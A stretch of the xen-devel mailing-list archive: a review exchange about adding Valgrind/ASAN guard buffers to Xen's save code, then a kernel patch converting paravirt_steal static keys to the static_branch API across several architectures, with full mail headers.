Before for buffer underflow, after for buffer overflow, but I suppose
you mean that Valgrind/ASAN already add them anyway so it's not really
necessary.
Yes, I'll remove.

> >                  xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na1, 16);
> >                  xen_pfn_t mfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na2, 16);
> >                  xen_pfn_t types[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na3, 16);
> >                  void *local_pages[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na4, 16);
> >                  struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
> > +                MEM_NOACCESS_BUFFER(na5, 16);
> >                  uint64_t rec_pfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na6, 16);
> >                  int errors[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na7, 16);
> >              } *buffers;
> >          } save;
> >
> > diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
> > index 6a77e33a47..25561e369f 100644
> > --- a/tools/libs/guest/xg_sr_save.c
> > +++ b/tools/libs/guest/xg_sr_save.c
> > @@ -123,6 +123,11 @@ static int write_batch(struct xc_sr_context *ctx)
> >      assert(nr_pfns != 0);
> >      assert(nr_pfns <= MAX_BATCH_SIZE);
> >
> > +    MEM_UNDEFINED_INIT(ctx->save.buffers->mfns);
> > +    MEM_UNDEFINED_INIT(ctx->save.buffers->types);
> > +    MEM_UNDEFINED_INIT(ctx->save.buffers->iov);
> > +    MEM_UNDEFINED_INIT(ctx->save.buffers->rec_pfns);
>
> Why is errors not also marked as undefined?
>

I suppose a rebase mistake, later in the series errors field is removed.

> To bad we can't really test this patch, beside check that it build.
>

Indeed, I realize Valgrind support is not that updated at the moment.

I'll add ASAN support as Andrew suggested.

> Thanks,
>
>
> --
> Anthony Perard | Vates XCP-ng Developer
>
> XCP-ng & Xen Orchestra - Vates solutions
>
> web: https://vates.tech

Frediano


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:21:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:21:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366398.1616345 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll85-00047K-Lx; Mon, 20 Jul 2026 10:21:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366398.1616345; Mon, 20 Jul 2026 10:21:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll85-00047D-JM; Mon, 20 Jul 2026 10:21:45 +0000
Received: by outflank-mailman (input) for mailman id 1366398;
 Mon, 20 Jul 2026 09:38:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hongyan.xia@transsion.com>) id 1wlkS0-0002oF-1J
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:38:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkRz-000gYb-4i
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:38:15 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hongyan.xia@transsion.com>)
 id 6a5dec81-bab6-0a2a0a5309dd-0a2a4505aedc-18
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:38:15 +0200
Received: from [52.101.126.78]
 (helo=TYPPR03CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hongyan.xia@transsion.com>)
 id 6a5dec84-4cb1-0a2a45050019-34657e4e94a6-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:38:14 +0200
Received: from KL1PR0401MB6196.apcprd04.prod.outlook.com
 (2603:1096:820:c7::13) by TYSPR04MB7923.apcprd04.prod.outlook.com
 (2603:1096:405:8f::12) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.6; Mon, 20 Jul
 2026 09:38:10 +0000
Received: from KL1PR0401MB6196.apcprd04.prod.outlook.com
 ([fe80::f2ee:1e28:9022:99f3]) by KL1PR0401MB6196.apcprd04.prod.outlook.com
 ([fe80::f2ee:1e28:9022:99f3%3]) with mapi id 15.21.0245.009; Mon, 20 Jul 2026
 09:38:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=transsion.com header.i="@transsion.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=MYQFWwU4BhmfJKviDLZGgEgrjOyJ+2Kovi4iEAGG/TbAHrmiyVh217EI+RIi1AFmj9vP8dEUlkqSY97qUB4pci07pKAqCFLH6R6HI/37wXr15XY35WDl9PY/rywFB8GRgcUgMQ4oL8a/MEcwrQhq/6ucoaocb96oCV539xORC0SI93WHkMffH3ufF2v7P32MxjPNmmJNuv6xFyDUbV3owU9ZdMv8Yw6UrgWpmEuitGfD2cuXYbwhO7Iob0t8HVSiKh0ytHare30w62ALyQ6NOemlPBxD0bHO3l3tUFmPXPWA4k6/zvvc64+R1kkW5ICJiy0obpKGYUmLN+V916RAeg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=S0tdWGsY8ovK8tJeJyM3lFSP9EHZNI48Z0Uy16r6Azs=;
 b=KvOeDp4or4NHf3vkt+CvwU8QCX+OQz23zdo/nGiE4hEHtZ8IYanCl+xawHths7oDR7NAGXP2yIfqBLnPFSS+7/ucLmuI2l3lZpL90EGsKb3YGThAq+ao7S8kiMrxmyx6E+E2IXqXLjXRZ18hbL1rnRViEi9LmHTkBPbTfvgo7a4A3I6jbAlBLwtGxSgm6esKpSKbX9JtZLnaLL/SFsXMOIu8gQk1qiLJ+4S+Kp0EHeuV1plZNw20eyFw/LHxZo1QKxljKjsIOFM9zZAWanuUSPR6VvFwVF8PAEniiHzlFAG8rhEKXcGUZgQLoiM9JBQV805wtMAXn6JmZRxuM2mYgA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=transsion.com; dmarc=pass action=none
 header.from=transsion.com; dkim=pass header.d=transsion.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=transsion.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=S0tdWGsY8ovK8tJeJyM3lFSP9EHZNI48Z0Uy16r6Azs=;
 b=UWH7Mfa20aRABHcBN1gY0dimzV9YAvCxgfcai7PVU+DoZgHr5bwVKoag4Xef+2N9eEhhC3NReSxtiVjsnG0WoWMK3XnVYNpFibMNmNE2P/ReIuhlhihfdlPZ+/9FD9COTBdIYnlT86LPtuCMYbJn9vKKnDuyz9yHqgnxwSfLi48=
From: Hongyan Xia <hongyan.xia@transsion.com>
To: "mingo@redhat.com" <mingo@redhat.com>, "peterz@infradead.org"
	<peterz@infradead.org>, "juri.lelli@redhat.com" <juri.lelli@redhat.com>,
	"vincent.guittot@linaro.org" <vincent.guittot@linaro.org>,
	"dietmar.eggemann@arm.com" <dietmar.eggemann@arm.com>, "rostedt@goodmis.org"
	<rostedt@goodmis.org>, "bsegall@google.com" <bsegall@google.com>,
	"mgorman@suse.de" <mgorman@suse.de>, "vschneid@redhat.com"
	<vschneid@redhat.com>, "kprateek.nayak@amd.com" <kprateek.nayak@amd.com>,
	Juergen Gross <jgross@suse.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey
 Makhalov <alexey.makhalov@broadcom.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Catalin Marinas
	<catalin.marinas@arm.com>, Will Deacon <will@kernel.org>, Huacai Chen
	<chenhuacai@kernel.org>, WANG Xuerui <kernel@xen0n.name>, Madhavan Srinivasan
	<maddy@linux.ibm.com>, Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin
	<npiggin@gmail.com>, "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, Paul
 Walmsley <pjw@kernel.org>, Palmer Dabbelt <palmer@dabbelt.com>, Albert Ou
	<aou@eecs.berkeley.edu>, Alexandre Ghiti <alex@ghiti.fr>, Thomas Gleixner
	<tglx@kernel.org>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, "H. Peter
 Anvin" <hpa@zytor.com>, Paolo Bonzini <pbonzini@redhat.com>, Vitaly Kuznetsov
	<vkuznets@redhat.com>, Stefano Stabellini <sstabellini@kernel.org>, Oleksandr
 Tyshchenko <oleksandr_tyshchenko@epam.com>
CC: Jiazi Li <jiazi.li@transsion.com>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "linux-arm-kernel@lists.infradead.org"
	<linux-arm-kernel@lists.infradead.org>, "loongarch@lists.linux.dev"
	<loongarch@lists.linux.dev>, "linuxppc-dev@lists.ozlabs.org"
	<linuxppc-dev@lists.ozlabs.org>, "linux-riscv@lists.infradead.org"
	<linux-riscv@lists.infradead.org>, "kvm@vger.kernel.org"
	<kvm@vger.kernel.org>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: [PATCH 2/3] sched: Convert paravirt_steal to new static key APIs
Thread-Topic: [PATCH 2/3] sched: Convert paravirt_steal to new static key APIs
Thread-Index: AQHdGCt41jgQ0Gd26kKdzbVxHXHoxA==
Date: Mon, 20 Jul 2026 09:38:07 +0000
Message-ID:
 <773bbd8fcd5ef2ebfe1c64303c7a71a56368de69.1784538478.git.hongyan.xia@transsion.com>
References: <cover.1784538478.git.hongyan.xia@transsion.com>
In-Reply-To: <cover.1784538478.git.hongyan.xia@transsion.com>
Accept-Language: zh-CN, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=transsion.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: KL1PR0401MB6196:EE_|TYSPR04MB7923:EE_
x-ms-office365-filtering-correlation-id: 63fea150-c8cb-4d86-a7ac-08dee6429caa
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|7416014|10067099003|56012099006|11063799006|38070700021|6133799003|22082099003|18002099003|921020;
x-microsoft-antispam-message-info:
 yh5mlue1Iw8cl0uEdIvMARq0emXCCTnLQUzpkmJ/bGuZg1DAJNMCdD0eZgjEQ5YoKdbt7wJiu4uINN5s8w4qI32lIAA1yhm8hecS/eyEPjlvFfcmTgExOVgF7SvRQAeK3uweD05fpdKR24cNVFSWdU2LCCJgMPO5YfERS25h7q52/esYgCQnbLJ0uMZ+6gCTVAWbBuW2o86hVWqRWZnsRJEAtpQd1bXSkchaN0T7/G6CMUXOMzmJpNwXj7Msp52kdHyi8Pl/5e8NB5PcF8jbI9HuJ4T5ik5D45L6MH2wze+PHtqytWSUWQG02n5TxSFbVAv0DCSS21XwoX4LjOU60NlnZmmhEG96wz8pboybvvI80Z5esLacGPji0hypFz5EHkR4awn3Z2qhFwd/NWgfuN1JbXjejzQdbEwOtBaNOvX0gPNpZ1lp0pOk30I+BzDJ1MorSb+TWs/3ETgleLUFFusDOj2kaVtBhV7oWFYgfswVIYhF8XG6KnRIhCUoOcXkv2bqdOiIA5geQdGwf7Oc6sbLGpqBopRbOWa37Isf7/J378wzb+HiXcGk8elu0UY7O+S1gOe8c9HlmfyIG5Jbu7DjGUW1Lw1IvNrx+rSrVx2fr324geruXdtX2JzpAIvSMSodSKwaLnpGDV3Cf9heUhlIL7lFQtCbphC9qfMwQuDCZSU6JIili1Ki9Wnsk0AKlOKIVaP+PgISQjz5tzaMuxrOocKEA75LyQBhnQkF2IPcosfvF2E+y1cKRjKZsMId
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:KL1PR0401MB6196.apcprd04.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(7416014)(10067099003)(56012099006)(11063799006)(38070700021)(6133799003)(22082099003)(18002099003)(921020);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?eBUVMW7/w2cI/IxTnB8SV7GR+w1qa7lThnaWmawlaQG7fv5lnQhEw/06Hk?=
 =?iso-8859-1?Q?A20S/9p8yJp8vMFMFBt64Q+ktwMGf5YzVjOdUJUZWUywbOOGQQ6Xd8SOlx?=
 =?iso-8859-1?Q?RviphnmYISWfbpOlM6wuN9IKxvjiPPcNDLm7oy4CQ7+vRl0+nkJfyzVtIe?=
 =?iso-8859-1?Q?0/c9DLzDaxMb1SnDc0KgeXxo0Zhcztbuw33qtKBiNypfFOLK46wosVUpcI?=
 =?iso-8859-1?Q?UOwCPMou35+Ax8fJPfNnS7eEAX5kFsROGoeZoqt87hX59FLl89nn/n0727?=
 =?iso-8859-1?Q?ce79hLA4m3GOWMdqm+NZINaIOYBoA+zMjvJO60NzkwIc29xiKE6hFvMOG2?=
 =?iso-8859-1?Q?PV1oLK6NXsnR2GYRGStPQhnfRnhFuYBBy+tpyAazgCfPpRirt6mKTpc48L?=
 =?iso-8859-1?Q?rK/SsL5N4AqYpitxTM+NZr/pWYU6GrzZ+BAZdVmh7IPo1LTS92Eoau8FTV?=
 =?iso-8859-1?Q?qdCT6a1CMLBVjqNWT6lJvXb8fdElZCPHHghvLyzqtNme8Bv95swiP8fJvm?=
 =?iso-8859-1?Q?ENEqgzaASdoWVTfIWJeONkB7QltIG8krk4kU0KgaQHq3tsTPeLOdOTtpsK?=
 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?Q?uYn/uPai2zvo+zUDaTDWOd/o2ggmoE3UeqsTWGfxjekNxEbMS1lXt9zXND?=
 =?iso-8859-1?Q?wZm0OqEcDec2LUHyk6wyHCoTyVVixmL3eUQOjO7+/1z4WzMe7OwM6FSOyV?=
 =?iso-8859-1?Q?4WB8GwXVKp2BNQKVNGV6TC0eg48ph/XC0/AuxCxwtOWFKIb4wzrNp4bk0m?=
 =?iso-8859-1?Q?iNEZa/d9+1EQ5XCy/bYoVFNte9DEkJ2t1EzMmsmIXom5fR2o2x5lL5RL5Z?=
 =?iso-8859-1?Q?19/kFehHikj4+xEeCu/8nJPXEwkup2SrDquFZ0RDJfY1WpzRsr+zGk2ESe?=
 =?iso-8859-1?Q?mF7JqZFjwzKdT2wu8cgUO8JEEtwfzVrPPUZAAGouRnAqacoprVJoH3AE9l?=
 =?iso-8859-1?Q?Oh1w4/zEdg=3D=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: transsion.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: KL1PR0401MB6196.apcprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 63fea150-c8cb-4d86-a7ac-08dee6429caa
X-MS-Exchange-CrossTenant-originalarrivaltime: 20 Jul 2026 09:38:07.6005
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 2e8503a6-2d01-4333-8e36-6ab7c8cd7ae2
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: iL3zE7b8rMUVTzwzyUk7DRTgOGTS2BPssQcGsgjIRskDDC2269Ewz5hnWQ43ECc/YJhsXvWGFpyzWFVs5qeCW6ZWLNABU9tWKNQnzoaHuJY=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYSPR04MB7923
X-purgate-ID: tlsNG-c201ff/1784540295-F7EB92A1-437FDE4F/0/0
X-purgate-type: clean
X-purgate-size: 8123

From: Hongyan Xia <hongyan.xia@transsion.com>=0A=
=0A=
paravirt_steal_rq_enabled and paravirt_steal_enabled use raw static_key=0A=
APIs which are now deprecated. Use the new API instead.=0A=
=0A=
No functional change.=0A=
=0A=
Signed-off-by: Hongyan Xia <hongyan.xia@transsion.com>=0A=
---=0A=
 arch/arm64/kernel/paravirt.c           | 4 ++--=0A=
 arch/loongarch/kernel/paravirt.c       | 4 ++--=0A=
 arch/powerpc/platforms/pseries/setup.c | 4 ++--=0A=
 arch/riscv/kernel/paravirt.c           | 4 ++--=0A=
 arch/x86/kernel/cpu/vmware.c           | 4 ++--=0A=
 arch/x86/kernel/kvm.c                  | 4 ++--=0A=
 drivers/xen/time.c                     | 4 ++--=0A=
 include/linux/sched/cputime.h          | 6 +++---=0A=
 kernel/sched/core.c                    | 4 ++--=0A=
 kernel/sched/cputime.c                 | 4 ++--=0A=
 10 files changed, 21 insertions(+), 21 deletions(-)=0A=
=0A=
diff --git a/arch/arm64/kernel/paravirt.c b/arch/arm64/kernel/paravirt.c=0A=
index 572efb96b23f..30bf61d031eb 100644=0A=
--- a/arch/arm64/kernel/paravirt.c=0A=
+++ b/arch/arm64/kernel/paravirt.c=0A=
@@ -157,9 +157,9 @@ int __init pv_time_init(void)=0A=
 =0A=
 	static_call_update(pv_steal_clock, para_steal_clock);=0A=
 =0A=
-	static_key_slow_inc(&paravirt_steal_enabled);=0A=
+	static_branch_inc(&paravirt_steal_enabled);=0A=
 	if (steal_acc)=0A=
-		static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+		static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 =0A=
 	pr_info("using stolen time PV\n");=0A=
 =0A=
diff --git a/arch/loongarch/kernel/paravirt.c b/arch/loongarch/kernel/parav=
irt.c=0A=
index 10821cce554c..e8965a3f8082 100644=0A=
--- a/arch/loongarch/kernel/paravirt.c=0A=
+++ b/arch/loongarch/kernel/paravirt.c=0A=
@@ -308,10 +308,10 @@ int __init pv_time_init(void)=0A=
 =0A=
 	static_call_update(pv_steal_clock, paravt_steal_clock);=0A=
 =0A=
-	static_key_slow_inc(&paravirt_steal_enabled);=0A=
+	static_branch_inc(&paravirt_steal_enabled);=0A=
 #ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING=0A=
 	if (steal_acc)=0A=
-		static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+		static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 #endif=0A=
 =0A=
 	if (static_key_enabled(&virt_preempt_key))=0A=
diff --git a/arch/powerpc/platforms/pseries/setup.c b/arch/powerpc/platform=
s/pseries/setup.c=0A=
index 1223dc961242..8dcbc4bb7025 100644=0A=
--- a/arch/powerpc/platforms/pseries/setup.c=0A=
+++ b/arch/powerpc/platforms/pseries/setup.c=0A=
@@ -852,9 +852,9 @@ static void __init pSeries_setup_arch(void)=0A=
 			static_branch_enable(&shared_processor);=0A=
 			pv_spinlocks_init();=0A=
 #ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING=0A=
-			static_key_slow_inc(&paravirt_steal_enabled);=0A=
+			static_branch_inc(&paravirt_steal_enabled);=0A=
 			if (steal_acc)=0A=
-				static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+				static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 #endif=0A=
 		}=0A=
 =0A=
diff --git a/arch/riscv/kernel/paravirt.c b/arch/riscv/kernel/paravirt.c=0A=
index 5f56be79cd06..9c13a6f1ea2a 100644=0A=
--- a/arch/riscv/kernel/paravirt.c=0A=
+++ b/arch/riscv/kernel/paravirt.c=0A=
@@ -116,9 +116,9 @@ int __init pv_time_init(void)=0A=
 =0A=
 	static_call_update(pv_steal_clock, pv_time_steal_clock);=0A=
 =0A=
-	static_key_slow_inc(&paravirt_steal_enabled);=0A=
+	static_branch_inc(&paravirt_steal_enabled);=0A=
 	if (steal_acc)=0A=
-		static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+		static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 =0A=
 	pr_info("Computing paravirt steal-time\n");=0A=
 =0A=
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c=0A=
index 34b73573b108..f7ab9e7902cf 100644=0A=
--- a/arch/x86/kernel/cpu/vmware.c=0A=
+++ b/arch/x86/kernel/cpu/vmware.c=0A=
@@ -328,9 +328,9 @@ static int vmware_cpu_down_prepare(unsigned int cpu)=0A=
 static __init int activate_jump_labels(void)=0A=
 {=0A=
 	if (has_steal_clock) {=0A=
-		static_key_slow_inc(&paravirt_steal_enabled);=0A=
+		static_branch_inc(&paravirt_steal_enabled);=0A=
 		if (steal_acc)=0A=
-			static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+			static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 	}=0A=
 =0A=
 	return 0;=0A=
diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c=0A=
index dcef84da304b..d3dcd64f22c2 100644=0A=
--- a/arch/x86/kernel/kvm.c=0A=
+++ b/arch/x86/kernel/kvm.c=0A=
@@ -1052,9 +1052,9 @@ const __initconst struct hypervisor_x86 x86_hyper_kvm=
 =3D {=0A=
 static __init int activate_jump_labels(void)=0A=
 {=0A=
 	if (has_steal_clock) {=0A=
-		static_key_slow_inc(&paravirt_steal_enabled);=0A=
+		static_branch_inc(&paravirt_steal_enabled);=0A=
 		if (steal_acc)=0A=
-			static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+			static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 	}=0A=
 =0A=
 	return 0;=0A=
diff --git a/drivers/xen/time.c b/drivers/xen/time.c=0A=
index a2be0a4d45b0..a02d48a2aa68 100644=0A=
--- a/drivers/xen/time.c=0A=
+++ b/drivers/xen/time.c=0A=
@@ -169,7 +169,7 @@ void __init xen_time_setup_guest(void)=0A=
 =0A=
 	static_call_update(pv_steal_clock, xen_steal_clock);=0A=
 =0A=
-	static_key_slow_inc(&paravirt_steal_enabled);=0A=
+	static_branch_inc(&paravirt_steal_enabled);=0A=
 	if (xen_runstate_remote)=0A=
-		static_key_slow_inc(&paravirt_steal_rq_enabled);=0A=
+		static_branch_inc(&paravirt_steal_rq_enabled);=0A=
 }=0A=
diff --git a/include/linux/sched/cputime.h b/include/linux/sched/cputime.h=
=0A=
index e90efaf6d26e..694126411dfe 100644=0A=
--- a/include/linux/sched/cputime.h=0A=
+++ b/include/linux/sched/cputime.h=0A=
@@ -182,9 +182,9 @@ extern unsigned long long=0A=
 task_sched_runtime(struct task_struct *task);=0A=
 =0A=
 #ifdef CONFIG_PARAVIRT=0A=
-struct static_key;=0A=
-extern struct static_key paravirt_steal_enabled;=0A=
-extern struct static_key paravirt_steal_rq_enabled;=0A=
+#include <linux/jump_label.h>=0A=
+DECLARE_STATIC_KEY_FALSE(paravirt_steal_enabled);=0A=
+DECLARE_STATIC_KEY_FALSE(paravirt_steal_rq_enabled);=0A=
 =0A=
 #ifdef CONFIG_HAVE_PV_STEAL_CLOCK_GEN=0A=
 u64 dummy_steal_clock(int cpu);=0A=
diff --git a/kernel/sched/core.c b/kernel/sched/core.c=0A=
index 96226707c2f6..786975d4ca1e 100644=0A=
--- a/kernel/sched/core.c=0A=
+++ b/kernel/sched/core.c=0A=
@@ -795,7 +795,7 @@ struct rq *_task_rq_lock(struct task_struct *p, struct =
rq_flags *rf)=0A=
 =0A=
 /* Use CONFIG_PARAVIRT as this will avoid more #ifdef in arch code. */=0A=
 #ifdef CONFIG_PARAVIRT=0A=
-struct static_key paravirt_steal_rq_enabled;=0A=
+DEFINE_STATIC_KEY_FALSE(paravirt_steal_rq_enabled);=0A=
 #endif=0A=
 =0A=
 static void update_rq_clock_task(struct rq *rq, s64 delta)=0A=
@@ -834,7 +834,7 @@ static void update_rq_clock_task(struct rq *rq, s64 del=
ta)=0A=
 	}=0A=
 #endif=0A=
 #ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING=0A=
-	if (static_key_false((&paravirt_steal_rq_enabled))) {=0A=
+	if (static_branch_unlikely(&paravirt_steal_rq_enabled)) {=0A=
 		u64 prev_steal;=0A=
 =0A=
 		steal =3D prev_steal =3D paravirt_steal_clock(cpu_of(rq));=0A=
diff --git a/kernel/sched/cputime.c b/kernel/sched/cputime.c=0A=
index 06bddaa738e5..f16970ca81d0 100644=0A=
--- a/kernel/sched/cputime.c=0A=
+++ b/kernel/sched/cputime.c=0A=
@@ -255,7 +255,7 @@ void __account_forceidle_time(struct task_struct *p, u6=
4 delta)=0A=
  * occasion account more time than the calling functions think elapsed.=0A=
  */=0A=
 #ifdef CONFIG_PARAVIRT=0A=
-struct static_key paravirt_steal_enabled;=0A=
+DEFINE_STATIC_KEY_FALSE(paravirt_steal_enabled);=0A=
 =0A=
 #ifdef CONFIG_HAVE_PV_STEAL_CLOCK_GEN=0A=
 static u64 native_steal_clock(int cpu)=0A=
@@ -270,7 +270,7 @@ DEFINE_STATIC_CALL(pv_steal_clock, native_steal_clock);=
=0A=
 static __always_inline u64 steal_account_process_time(u64 maxtime)=0A=
 {=0A=
 #ifdef CONFIG_PARAVIRT=0A=
-	if (static_key_false(&paravirt_steal_enabled)) {=0A=
+	if (static_branch_unlikely(&paravirt_steal_enabled)) {=0A=
 		u64 steal;=0A=
 =0A=
 		steal =3D paravirt_steal_clock(smp_processor_id());=0A=
-- =0A=
2.47.3=0A=
=0A=


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:22:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:22:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366463.1616354 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll8U-0004VZ-0S; Mon, 20 Jul 2026 10:22:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366463.1616354; Mon, 20 Jul 2026 10:22:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll8T-0004VS-Tn; Mon, 20 Jul 2026 10:22:09 +0000
Received: by outflank-mailman (input) for mailman id 1366463;
 Mon, 20 Jul 2026 10:22:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f0c1081000edb5@swg.vates.tech>)
 id 1wll8S-0004Ty-MA
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:22:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wll8S-00GTE8-2o
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:22:08 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f0c1081000edb5@swg.vates.tech>)
 id 6a5df6cb-2eae-0a2a0a5409dd-0a2a4501b1fe-12
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:22:08 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f0c1081000edb5@swg.vates.tech>)
 id 6a5df6ce-5984-0a2a45010019-b9ff1c238fd3-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:22:06 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f7f0c1081000edb5.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 10:22:04 +0000
